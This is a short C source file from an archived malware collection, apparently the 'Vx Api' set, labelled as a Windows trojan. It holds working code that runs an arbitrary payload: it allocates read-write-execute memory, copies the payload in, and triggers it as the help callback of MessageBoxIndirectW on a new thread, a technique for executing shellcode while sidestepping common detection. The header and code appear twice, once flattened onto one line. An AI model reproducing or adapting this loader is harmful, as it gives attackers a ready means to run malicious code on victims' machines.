/* name Vx Api type trojan cve — year unknown os Windows authors unknown source krisyotam archived krisyotam (2026) notes — */#include "Win32Helper.h" VOID InvokeMessageBoxIndirectWCallbackRoutine(LPVOID lpParameter){ MSGBOXPARAMS MessageBoxParams = { 0 }; MessageBoxParams.cbSize = sizeof(MSGBOXPARAMS); MessageBoxParams.dwStyle = MB_HELP; MessageBoxParams.lpfnMsgBoxCallback = (MSGBOXCALLBACK)lpParameter; MessageBoxParams.lpszText = L""; MessageBoxIndirectW(&MessageBoxParams);} BOOL MpfSceViaMessageBoxIndirectW(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes){ LPVOID BinAddress = NULL; BinAddress = VirtualAlloc(NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (BinAddress == NULL) return FALSE; CopyMemoryEx(BinAddress, Payload, PayloadSizeInBytes); CreateThreadAndWaitForCompletion((LPTHREAD_START_ROUTINE)InvokeMessageBoxIndirectWCallbackRoutine, BinAddress, INFINITE); return TRUE;}
/*
name Vx Api
type trojan
cve —
year unknown
os Windows
authors unknown
source krisyotam
archived krisyotam (2026)
notes —
*/
#include "Win32Helper.h"
VOID InvokeMessageBoxIndirectWCallbackRoutine(LPVOID lpParameter)
{
MSGBOXPARAMS MessageBoxParams = { 0 };
MessageBoxParams.cbSize = sizeof(MSGBOXPARAMS);
MessageBoxParams.dwStyle = MB_HELP;
MessageBoxParams.lpfnMsgBoxCallback = (MSGBOXCALLBACK)lpParameter;
MessageBoxParams.lpszText = L"";
MessageBoxIndirectW(&MessageBoxParams);
}
BOOL MpfSceViaMessageBoxIndirectW(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes)
{
LPVOID BinAddress = NULL;
BinAddress = VirtualAlloc(NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (BinAddress == NULL)
return FALSE;
CopyMemoryEx(BinAddress, Payload, PayloadSizeInBytes);
CreateThreadAndWaitForCompletion((LPTHREAD_START_ROUTINE)InvokeMessageBoxIndirectWCallbackRoutine, BinAddress, INFINITE);
return TRUE;
}